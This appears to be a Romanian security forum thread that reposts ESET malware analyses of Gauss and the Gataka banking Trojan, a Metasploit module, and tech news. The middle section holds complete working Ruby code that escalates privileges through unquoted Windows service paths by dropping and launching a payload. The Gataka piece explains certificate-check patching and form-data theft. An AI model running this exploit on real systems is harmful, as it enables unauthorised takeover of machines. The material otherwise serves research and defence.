[h=1]Interconnection of Gauss with Stuxnet, Duqu & Flame[/h]by Eugene Rodionov Malware Researcher August 15, 2012 at 12:48 pm Last week, reports of a new malware named Gauss emerged, a complex threat that has attracted a lot of media attention due to its links to Stuxnet and Flame and its geographical distribution. Since ESET has added detection for this threat, we are seeing geographical distribution of detection reports similar to those detailed by Kaspersky. The countries with the biggest impact are, in order, Lebanon, Israel and Palestine. In this blog post, we analyze the connections and similarities in programming between Stuxnet, Duqu and Flame. The first thing that one can notice while analyzing Gauss is the abundance of object-oriented structures that makes it difficult to comprehend the malware functionality. The most prominent examples of malware that employ an object-oriented approach are Stuxnet, Duqu and Flame. Due to the complex logic of these threats, using object oriented programming is a reasonable way to efficiently implement their functionality. Stuxnet, Duqu and Flame utilize specific frameworks that are shown on the figure below: Figure 1 *– Stuxnet and Flame frameworks The complexity of implementation of Gauss is less than that of Flame, for instance. Even if you consider, for example, the size of the main module of Gauss (wmiqry32.dll) we can see that roughly 30% of size of its code section is devoted to standard library routines as shown on the diagram below: Figure 2 – Gauss main module layout For Flame this number is several times lower. If we arrange these threats according to its complexity then we will get the following picture (Gauss’s encrypted payload isn’t considered since we aren’t aware of its content): Figure 3 – The threats arranged according to its complexity In tables 1 and 2 you can see the results of comparison of several modules of Gauss with Stuxnet and Flame. These data are obtained with the BinDiff plugin for the IDA Pro disassembler that allows us to estimate how similar the two modules are to each other. Table 1 – Similarity of Gauss modules to Stuxnet Table 2 – Similarity of Gauss modules to Flame From the data contained in tables it may be concluded that Gauss is even closer to Stuxnet than to Flame. These data were also confirmed during manual analysis of the malware. For instance, we found the same structures handling string objects, memory buffers, streams and other elements in both Stuxnet and Gauss, whereas Flame utilized other structures to work with such elements. Based on the binary analysis the only thing that Gauss shares with Flame is the way it encrypts the strings inside the binary module. But the decryption algorithms implemented in the malware are also rather different. In the figures below decryption algorithms of strings in Gauss and Flame are presented: Figure 4 – Gauss String Decryption Algorithm Figure 5 – Flame String Decryption Algorithm Other features of the malware such as injection technique, configuration information storage, and so on are also different. Stuxnet and Flame employ rather complex injection mechanisms that allow them to bypass security software. They create the illusion of a legally loaded module to bypass HIPS-like systems. Unlike them Gauss utilizes rather a simple and straightforward injection technique. It merely allocates a memory buffer in the target process address space and copies the path to the module to inject into it: Figure 6 – Gauss injection technique Then it creates a remote thread by calling CreateRemoteThread API routine that executes only the routine LoadLibtatyW as shown in self-explanatory figure below: Figure 7 – Decompilation of the code injecting a module Another differentiator is that Flame implements quite complex configuration information storage as described in one of our blogs posts: “Flame: in-depth code analysis of mssecmgr.ocx”. The configuration information of Gauss has nothing in common with that of Flame and is stored in the registry value TimeStampForUI of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability key as binary data and is easily parsed. In our previous blog post we wrote about reconstructing the Flame framework as a composition of objects implementing a specific interface: Figure 8 – Flame Framework Architecture We haven’t found this architecture in any of the Gauss modules we analyzed. The only Gauss module that contains a piece of code implementing objects similar, in a rudimentary way, to one found in Flame is winshell.ocx, but there is no implementation of the framework comparable to figure 6. As a result it may be concluded that Gauss is another standalone kind of malware, although it is quite possible that its developers are somehow connected with developers of Stuxnet and Flame. It borrows some features from these other malware but it may not be classified as something that is based on either a Stuxnet or Flame framework. Eugene Rodionov, Malware Researcher Sursa: Interconnection of Gauss Malware with Stuxnet, Duqu & Flame | ESET ThreatBlog Although Gauss shares some features with Stuxnet and Flame there is some evidence that this is another kind of malware rather than one based on either the Stuxnet or Flame framework. This conjecture is based on the binary analysis of the modules of Gauss and below we will present several arguments supporting this idea.

Mai multe informatii de la Microsoft: Microsoft Security Bulletin Summary for August 2012

Da, informative, o sa il urmaresc si pe ultimul cand am timp. Chiar am aflat multe lucruri...

Windows Service Trusted Path Privilege Escalation Authored by sinn3r | Site metasploit.com Posted Aug 15, 2012 This Metasploit module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the same problem. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, 'Name' => 'Windows Service Trusted Path Privilege Escalation', 'Description' => %q{ This module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the same problem. }, 'References' => [ ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'] ], 'DisclosureDate' => "Oct 25 2001", 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], 'SessionTypes' => [ "shell", "meterpreter" ], 'DefaultTarget' => 0, # Migrate away, in case the service dies (can kill access) 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' } )) end def check if enum_vuln_services.empty? return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def enum_vuln_services(quick=false) vuln_services = [] service_list.each do |name| info = service_info(name) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. cmd = info['Command'].strip # Check path: # - Filter out paths that begin with a quote # - Filter out paths that don't have a space next if cmd !~ /^[a-z]\:.+\.exe$/i next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) # Filter out services that aren't launched as SYSTEM next if info['Credentials'] !~ /LocalSystem/ vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") vuln_services << [name, cmd] # This process can be pretty damn slow. # Allow the user to just find one, and get the hell out. break if not vuln_services.empty? and quick end return vuln_services end def exploit # # Exploit the first service found # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) if svrs.empty? print_error("No service found with trusted path issues") return end svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" print_status("Placing #{exe_path} as #{svr_name}") # # Drop the malicious executable into the path # exe = generate_payload_exe print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on print_error(e.message) return end # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") tried = false begin status = service_start(svr_name) raise RuntimeError, status if status != 0 rescue RuntimeError => s if tried print_error("Unable to start #{svr_name}") return else tried = true end case s.message when 1 # Service already started, restart again service_stop(svr_name) retry when 2 # Service disabled, enable it service_change_startup(svr_name, 'manual') retry end end # # "Nothing ever happened, we swears it on the Precious!" # print_status("Deleting #{exe_path}") begin cmd_exec("cmd /c del \"#{exe_path}\"") rescue ::Exception => e print_error("Unable to remove #{exe_path}: #{e.message}") end end end Sursa: Windows Service Trusted Path Privilege Escalation ? Packet Storm

Ooo da, eu stiam doar de metasploitable... Thanks.

MySQL Tutorial Abstract This is the MySQL Tutorial from the MySQL 5.1 Reference Manual. Document generated on: 2012-08-04 (revision: 31551) Table of Contents Preface and Legal Notices ........................................................................................................................ v 1. Tutorial ........................................................................................................................................... 1 2. Connecting to and Disconnecting from the Server ......................................................................................... 2 3. Entering Queries ................................................................................................................................ 3 4. Creating and Using a Database ................................................................................................................ 6 4.1. Creating and Selecting a Database ................................................................................................. 7 4.2. Creating a Table ....................................................................................................................... 7 4.3. Loading Data into a Table ........................................................................................................... 8 4.4. Retrieving Information from a Table ............................................................................................... 9 4.4.1. Selecting All Data .........................................................................................................10 4.4.2. Selecting Particular Rows ................................................................................................10 4.4.3. Selecting Particular Columns ............................................................................................11 4.4.4. Sorting Rows ...............................................................................................................12 4.4.5. Date Calculations ..........................................................................................................13 4.4.6. Working with NULL Values .............................................................................................15 4.4.7. Pattern Matching ...........................................................................................................15 4.4.8. Counting Rows ............................................................................................................17 4.4.9. Using More Than one Table .............................................................................................19 5. Getting Information About Databases and Tables .........................................................................................22 6. Using mysql in Batch Mode ................................................................................................................23 7. Examples of Common Queries ...............................................................................................................25 7.1. The Maximum Value for a Column ...............................................................................................25 7.2. The Row Holding the Maximum of a Certain Column .........................................................................25 7.3. Maximum of Column per Group ..................................................................................................26 7.4. The Rows Holding the Group-wise Maximum of a Certain Column .........................................................26 7.5. Using User-Defined Variables .....................................................................................................27 7.6. Using Foreign Keys .................................................................................................................27 7.7. Searching on Two Keys .............................................................................................................28 7.8. Calculating Visits Per Day .........................................................................................................29 7.9. Using AUTO_INCREMENT ........................................................................................................29 8. Using MySQL with Apache ..................................................................................................................32 Download: http://downloads.mysql.com/docs/mysql-tutorial-excerpt-5.1-en.pdf

[h=2]Adobe Officially Kills New Flash Installations On Android[/h]hypnosec writes "Adobe has announced that it will be making the Flash Player for Android unavailable for new devices and users from August 15 in continuation of its plan to discontinue development of Flash Player for mobile browsers. The company announced its decision through a blog post and further said that only those users who have already installed the flash player on their devices will be receiving any future updates. To ensure that this is the case, Adobe is going to make configuration changes on its Google Play Flash Player page." Sursa: Adobe Officially Kills New Flash Installations On Android - Slashdot

[h=1]exploit exercises : Learn expoiting fast[/h]August 15, 2012 - 8:16 pm By Black exploit exercises provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering. [h=2]There are three main levels in exploit exercises[/h] Nebula – Simple and intermediate challenges Protostar – Basic memory corruption issues Fusion – Advance level Nebula covers a variety of simple and intermediate challenges that cover Linux privilege escalation, common scripting language issues, and file system race condition. Protostar introduces basic memory corruption issues such as buffer overflows, format strings and heap exploitation under “old-style” Linux system that does not have any form of modern exploit mitigiation systems enabled. Fusion continues the memory corruption, format strings and heap exploitation but this time focusing on more advanced scenarios and modern protection systems. Fusion is the place to start if you are familiar with Linux exploitation and wish to learn more about exploitation prevention systems. Each of them are have levels starting from 0. It is up to us how to crack them. [h=3]Click here to learn more or download exploit exercises[/h]Sursa: exploit exercises a Learn expoiting fast — PenTestIT

[h=2]GCC Switches From C to C++[/h]According to a post on the GNU Compiler Collection list, GCC is now built as a C++ program by default. This is the fruition of much effort, and the goal now is to clean up the GCC internals that are reportedly pretty type-unsafe by rewriting them using C++ classes and templates. Pentru detalii urmariti link-urile: - Diego Novillo - Merging the cxx-conversion branch into trunk - GCC Moving To Use C++ Instead of C - Slashdot - Mark Mitchell - Using C++ in GCC is OK - cxx-conversion - GCC Wiki Sursa: GCC Switches From C to C++ - Slashdot

[h=1]Win32/Gataka banking Trojan – Detailed analysis[/h]by Jean-Ian Boutin Malware Researcher August 14, 2012 at 5:52 am Win32/Gataka is an information-stealing banking Trojan that can read all of your web traffic and alter the balance displayed on your online banking page to hide fraudulent transfers. It exhibits a modular architecture similar to that of SpyEye, where plugins are required to achieve most of the malware functionality. In our previous blog post, we gave an overview of the botnet’s capabilities and some of its recent campaigns. In this second blog post, we will look in more detail at two of the main components of Win32/Gataka: the Webinject and Interceptor plugins. As also shown in the previous blog post, here is the general architecture that characterizes Win32/Gataka. Please refer to the first blog post for a description of each plugin’s functionalities. [h=2]Interceptor Plugin[/h] This plugin creates a proxy server on the local machine so that all outbound and inbound network traffic can be examined. In the case of HTTPS traffic, fake certificates, embedded in encrypted form in the plugin resources, are exchanged between the client and the proxy server. The browser certificate checking functions are also patched in an attempt to hide from the user the fact that fake certificates are used. This plugin must be used in conjunction with other plugins to allow the botnet operator to steal personal information from the user. For instance, the Webinject plugin will set specific filters through the NextGenFixer plugin, enabling web traffic injection and modification when the user visits specific web pages. The way the interceptor module works is shown in the next figure: 1. As soon as the user launches a browser, the malware will inject its malicious payload into it, then patch the certificate checking functionality and also hook selected API functions such as connect in order to intercept all web communications. 2. In our example, the user tries to connect to a bank server which is targeted by a webinject configuration file downloaded by the malware. When the browser uses the connect API to connect to the bank server, the call will be intercepted by the malware, thanks to the installed hook. The API hooking mechanism is quite standard: it will put a jump to the malware code at the beginning of the call so that all calls to the API are redirected. The function’s first few patched bytes are saved in a separate buffer so that the malware can call the original API when needed. 3. The malware will then connect to the bank server using the information provided by the user, acting as a proxy between the two. 4. The bank communicates back to the malware. 5. The malware will relay this information to the user. It is interesting to note here that all of this is possible without the user realizing what is happening because the malware uses fake certificates to communicate with the client’s browser. Since the certificate checking functions for the browser are patched, the browser believes the transaction to be a legitimate SSL/TLS session. The fake certificates are embedded in the interceptor plugin resources: Both certificates are invalid: the one on the left has expired and the one on the right was not issued by a trusted certificate authority (CA). The certificate verification routines used by the following browsers can be patched by Win32/Gataka: Firefox Internet Explorer Netscape Navigator Opera Maxthon There are some strings referring to Chrome, but it seems that this browser is not yet supported. It is interesting to note that Maxthon, a lesser-known browser but available on several platforms, is supported, but not Chrome. This becomes understandable once we know that the same certificate verification routine is patched for both Maxthon and Internet Explorer. All Firefox versions are supported, even the latest one (i.e. 14.0.1). This version of Firefox was released on July 17, 2012 and the interceptor plugin version supporting this release was compiled on July 19, 2012. This shows that the malware is still being actively developed. We will now look further at the way Internet Explorer’s certificate verification routine is patched. The routine responsible for verifying the certificate validity is WinVerifyTrust() in wintrust.dll. According to MSDN documentation relating to WinVerifyTrust(): If the trust provider verifies that the subject is trusted for the specified action, the return value is zero. Thus, in order to patch this function, the interceptor plugin finds the routine’s start address and patches the last bytes so that it always returns zero. 6. Once the malware has performed these steps, it can intercept all communications between the user and his or her bank in clear format, even if SSL/TLS is used. Decryption of the SSL/TLS traffic is made possible thanks to the fake certificates. If the bank URL is present in the webinject configuration file, the webinject plugin will register callback with the Interceptor plugin in order to inject or modify content in the web pages the user is seeing, even if it is using HTTPS connection. The injection content may take the form of additional fields on a specific web page requiring extra personal information. The content modification may be effected through scripts that will alter an account balance in order to hide an automatic fraudulent transfer. [h=2]Webinject Plugin[/h] As seen in the previous Gataka blog post, attacks against financial institutions are performed through HTTP injections. These injections are configurable and are sent to the client following a predefined format. For each target URL, it is possible to specify where in the HTML page the malicious content should be injected. Of course, this needs customization for each targeted institution. The Webinject plugin is responsible for reading the webinject configuration file and injects the content into the targeted webpages. One really interesting observation is that the format of the webinject file used by Win32/Gataka is very similar to the one used by SpyEye. This is probably to leverage the webinject programmer base already used to write injects for SpyEye and Zeus. The following screenshot shows a Win32/Gataka file and a SpyEye webinject file to illustrate the striking similarities. The tags used to determine where the scripts should be inserted are identical for Gataka and SpyEye. The only difference we see is the usage of the end_url in the case of Win32/Gataka. Having a compatible format allows the cybercriminal to easily migrate from one malware to another, or to have bots infected with different malware and yet still be able to use the same HTTP inject configuration file. The configuration files used for injecting malicious content into webpages visited are kept in an internal database. The database is encrypted using 3DES and is located in the following location. The password to decrypt the database is kept in the file and appears as cfvsq ckj;ysq GfhjKm. Interestingly, when typed on a Cyrillic keyboard layout, this string is rendered as ????? ??????? ??????. This roughly translates to “the most complex password”, a personal touch from the malware author. Once decrypted, the file is XML-based and contains Base64-encoded data: The HTTP injection configuration files are compressed and kept within the <injdata>. During Webinject plugin initialization, the database file is read and the filters are put in place to allow successful injections. [h=3]Example Campaign[/h] One campaign we monitored was using an advanced type of webinject that automatically sends user information typed in by a user to a predefined URL. The webinject file downloaded from the C&C server shown below contains a link to a script on a remote server: When the user visits the targeted webpage, the script above is injected and causes the webpage to download an additional script from a server controlled by the botnet operator. This script is then inserted into the target page in order to steal personal information from the user. In this example, the downloaded script will show a form to the user asking for personal information as soon as he logs in the targeted web page. In order to entice the infected user into entering his personal information, he is shown a message stating that his account was locked and that personal information is needed in order to regain control of the account. The following screenshot shows the kind of information the criminals are after. The following countries had their own personalized messages: United States Canada United Kingdom Australia Spain France Germany Once the user has entered all the information required, a quick check is made by the injected JavaScript to make sure that the information entered is valid. As an example, Luhn’s algorithm is used to make sure that a valid credit card number has been entered. The data is then sent back to the control panel through a link and password provided in the script previously downloaded: It is very interesting that the link and, more important, the password are stored in clear text in the downloaded JavaScript. The harvested information is sent through a GET request to the C&C. The ability to save user information using a webinject file like the one shown above has the great advantage of being malware independent. This means that the same webinject file can be used to gather personal information from users infected with different strains of banking Trojan. It can be very useful if a bot master is managing computers infected with different malware such as SpyEye or Win32/Gataka. In summary, Win32/Gataka employs interesting techniques in order to steal valuable information from an infected user. Through API hooking, the interceptor plugin is able to view all communications coming in and out of the computer. The Webinject plugin can in turn access this information and modify or inject new content in the web sites the user is seeing. For instance, this allows the botmaster to inject advanced scripts attempting to automatically empty a user bank account or to harvest private information. In one campaign we have followed, Win32/Gataka botnet operators make use of advanced webinject configuration that can be used by different types of malware. These advanced scripts are a good example of the ways in which malware writers specialize. People specializing in writing web inject configuration files are able to sell their work to a larger customer-base and are not tied to a particular type of malware. By allowing the script itself to communicate with the control panel, it is easier to implement compatibility with a wide range of information stealing malware. ESET detects this threat as “Win32/Gataka.B trojan”. Special thanks to my colleague Axel Souchet who provided help with this analysis. Sursa: Win32/Gataka banking Trojan – Detailed analysis | ESET ThreatBlog

Au venit si update-urile de la Microsoft: http://i49.tinypic.com/2r3ch1j.png

Pai da, acum ca exista antidot, hai sa ne bagam in vene...

Da baaa, la multi ani

Si totusi, cum faci rost de el, de unul valid... ?